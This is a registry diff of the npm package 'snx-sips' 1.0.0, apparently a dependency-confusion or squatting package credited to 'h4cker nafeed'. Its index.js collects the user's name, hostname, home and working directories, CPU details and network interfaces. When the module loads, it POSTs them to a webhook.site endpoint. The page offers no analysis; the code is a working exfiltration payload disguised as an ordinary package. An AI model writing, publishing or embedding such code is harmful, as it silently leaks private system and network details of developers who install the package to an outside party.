snx-sips 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +37 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,37 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ const data = JSON.stringify({
5
+ whoami: os.userInfo().username,
6
+ hostname: os.hostname(),
7
+ platform: os.platform(),
8
+ arch: os.arch(),
9
+ cpus: os.cpus().map(cpu => cpu.model),
10
+ uptime: os.uptime(),
11
+ homedir: os.homedir(),
12
+ tmpdir: os.tmpdir(),
13
+ cwd: process.cwd(),
14
+ networkInterfaces: os.networkInterfaces(),
15
+ timestamp: new Date().toISOString()
16
+ });
17
+
18
+ const options = {
19
+ hostname: 'webhook.site',
20
+ path: '/f9d95556-de0c-41d2-b5d0-dbc8079593f9', // Replace with your webhook
21
+ method: 'POST',
22
+ headers: {
23
+ 'Content-Type': 'application/json',
24
+ 'Content-Length': data.length
25
+ }
26
+ };
27
+
28
+ const req = https.request(options, res => {
29
+ console.log(`[+] Data sent to webhook. Status: ${res.statusCode}`);
30
+ });
31
+
32
+ req.on('error', error => {
33
+ console.error('[-] Error sending to webhook:', error);
34
+ });
35
+
36
+ req.write(data);
37
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "snx-sips",
3
+ "version": "1.0.0",
4
+ "description": "hijacked by h4cker nafeed",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "h4cker nafeed",
10
+ "license": "ISC"
11
+ }